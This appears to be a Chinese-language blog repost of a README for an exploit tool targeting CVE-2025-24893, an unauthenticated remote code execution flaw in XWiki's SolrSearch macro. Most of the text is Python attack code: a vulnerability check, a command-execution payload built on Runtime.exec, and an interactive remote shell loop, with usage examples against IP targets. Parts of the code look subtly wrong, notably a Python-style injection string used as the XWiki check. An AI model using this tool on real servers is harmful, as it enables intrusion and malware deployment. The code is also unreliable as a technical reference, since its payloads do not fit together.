CVE-2025-24893 - XWiki 未授权远程代码执行漏洞检测与利用工具

36 阅读2分钟

CVE-2025-24893 - XWiki未授权RCE漏洞检测工具

📋 项目描述

这是一个针对CVE-2025-24893漏洞的检测与利用工具。CVE-2025-24893是一个影响XWiki平台的严重远程代码执行漏洞,允许未经身份验证的攻击者在目标系统上执行任意代码。该漏洞源于SolrSearch宏中的Groovy代码不安全评估,导致服务器端代码执行。

⚠️ 重要声明:本工具仅供授权的安全测试和教育目的使用。未经授权的使用是非法行为。

✨ 功能特性

  • 漏洞检测:自动检测目标XWiki实例是否存在CVE-2025-24893漏洞
  • 命令执行:支持在漏洞存在时执行系统命令
  • 交互模式:提供交互式shell界面进行多命令操作
  • 安全检测:使用无害的命令进行初步漏洞验证
  • 多平台支持:支持多种XWiki版本(5.3-milestone2至15.10.10,16.0.0-RC1至16.4.0)

📦 安装指南

系统要求

  • Python 3.x
  • requests库
  • 网络访问权限

安装步骤

  1. 确保系统已安装Python 3.x
  2. 安装必要的依赖:
pip install requests
  1. 下载脚本文件:
git clone https://github.com/B1ack4sh/Blackash-CVE-2025-24893.git
cd Blackash-CVE-2025-24893

🚀 使用说明

基础用法

# 1. 仅检测漏洞
python3 cve-2025-24893.py http://your-lab-xwiki:8080

# 2. 执行单条命令
python3 cve-2025-24893.py http://target:8080 whoami

# 3. 进入交互模式
python3 cve-2025-24893.py http://target:8080

使用示例

  1. 漏洞检测
python3 cve-2025-24893.py http://192.168.1.100:8080/
  1. 执行命令
python3 cve-2025-24893.py http://192.168.1.100:8080/ "ls -la"
  1. 交互模式
python3 cve-2025-24893.py http://192.168.1.100:8080/
RCE $> whoami
RCE $> id
RCE $> exit

注意事项

  • 仅在拥有所有权或获得明确授权的目标上使用
  • 使用前确保了解相关法律法规
  • 建议在测试环境中验证功能

💻 核心代码

1. 漏洞检测函数

def check_vulnerable(target):
    """
    检测目标XWiki实例是否存在CVE-2025-24893漏洞
    
    Args:
        target: 目标URL
        
    Returns:
        bool: 如果存在漏洞返回True,否则返回False
    """
    url = f"{target.rstrip('/')}/bin/get/Main/SolrSearch"
    # 使用Python代码注入进行检测
    params = {
        "search": "{{''.__class__.__mro__[1].__subclasses__()[414]('id', shell=True, capture_output=True).communicate()}}"
    }
    
    try:
        # 发送检测请求
        r = requests.get(url, params=params, timeout=15, verify=False, allow_redirects=False)
        # 检查响应中是否包含命令执行结果
        if r.status_code == 200 and ("uid=" in r.text or "gid=" in r.text):
            print("[+] VULNERABLE! Command output detected:")
            print("    " + r.text.strip().replace("\n", "\n    "))
            return True
        else:
            print("[-] Not vulnerable or command didn't return output.")
            return False
    except Exception as e:
        print(f"[!] Request failed: {e}")
        return False

2. 命令执行函数

def execute_command(target, command):
    """
    在存在漏洞的目标上执行系统命令
    
    Args:
        target: 目标URL
        command: 要执行的系统命令
    """
    # Groovy RCE payload构造
    payload = f"#set($ex=$class.inspect('java.lang.Runtime').getRuntime().exec('{command}'))"
    payload += "#set($out=$ex.waitFor())#set($null=$ex.getInputStream().close())"
    
    # URL编码payload
    encoded = urllib.parse.quote(payload, safe='')
    url = f"{target.rstrip('/')}/bin/get/Main/SolrSearch?search={encoded}&outputSyntax=plain"
    
    try:
        # 发送命令执行请求
        r = requests.get(url, timeout=20, verify=False, allow_redirects=False)
        if r.status_code == 200:
            print(f"[+] Command executed: {command}")
            print(f"    Output:\n{r.text.strip()}")
        else:
            print(f"[-] HTTP {r.status_code} - No output or blocked")
    except Exception as e:
        print(f"[!] Error: {e}")

3. 主程序入口

if __name__ == "__main__":
    # 显示工具banner
    banner()
    
    # 检查命令行参数
    if len(sys.argv) < 2:
        print("Usage: python3 cve-2025-24893.py http://xwiki-target.com [command]")
        print("Example: python3 cve-2025-24893.py http://192.168.1.100:8080/ whoami")
        sys.exit(1)
    
    target = sys.argv[1]
    print(f"[*] Target: {target}")
    
    # 步骤1: 漏洞检测(非破坏性)
    if not check_vulnerable(target):
        print("[*] Trying alternative detection...")
        # 回退检测方法:执行无害的ping命令
        execute_command(target, "ping -c 1 127.0.0.1")
    else:
        print("[+] Confirmed vulnerable!")
    
    # 步骤2: 交互模式或单命令执行
    if len(sys.argv) >= 3:
        cmd = " ".join(sys.argv[2:])
        execute_command(target, cmd)
    else:
        print("\n[+] Interactive shell mode (type 'exit' to quit)")
        while True:
            try:
                cmd = input("RCE $> ")
                if cmd.lower() in ["exit", "quit"]:
                    break
                if cmd.strip():
                    execute_command(target, cmd)
            except KeyboardInterrupt:
                print("\nBye!")
                break

4. Banner显示函数

def banner():
    """
    显示工具的ASCII艺术banner和基本信息
    """
    print(r"""
 ██████╗  ██╗       █████╗   ██████╗ ██╗  ██╗  █████╗  ███████╗ ██╗  ██╗ 
 ██╔══██╗ ██║      ██╔══██╗ ██╔════╝ ██║ ██╔╝ ██╔══██╗ ██╔════╝ ██║  ██║ 
 ██████╔╝ ██║      ███████║ ██║      █████╔╝  ███████║ ███████╗ ███████║ 
 ██╔══██╗ ██║      ██╔══██║ ██║      ██╔═██╗  ██╔══██║ ╚════██║ ██╔══██║ 
 ██████╔╝ ███████╗ ██║  ██║ ╚██████╗ ██║  ██╗ ██║  ██║ ███████║ ██║  ██║ 
 ╚═════╝  ╚══════╝ ╚═╝  ╚═╝  ╚═════╝ ╚═╝  ╚═╝ ╚═╝  ╚═╝ ╚══════╝ ╚═╝  ╚═╝   CVE-2025-24893
                                      Critical XWiki Remote Code Execution Vulnerability
    """)
    print(" Educational PoC - Only for authorized security testing!\n")

📊 受影响版本

❌ 受影响版本

XWiki版本系列受影响范围
5.x → 15.x5.3-milestone2 → 15.10.10
16.x16.0.0-RC1 → 16.4.0

✅ 已修复版本

安全版本说明
15.10.11LTS修复版本
16.4.1稳定分支修复
16.5.0-RC1开发分支修复

🔧 技术细节

漏洞组件

SolrSearch宏 → RSS渲染 → 用户控制文本的不安全评估

根本原因

  • ❌ 用户输入的不正确清理
  • ❌ Groovy代码动态评估
  • 导致CWE-94 + CWE-95(代码生成/评估注入)

漏洞利用

攻击者通过构造恶意搜索请求来滥用模板渲染功能,从而在服务器端执行任意代码。该漏洞已被用于真实攻击中部署恶意软件,如加密货币挖矿程序。 6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAP/Jlw6Em+eCYkkivuRs1AH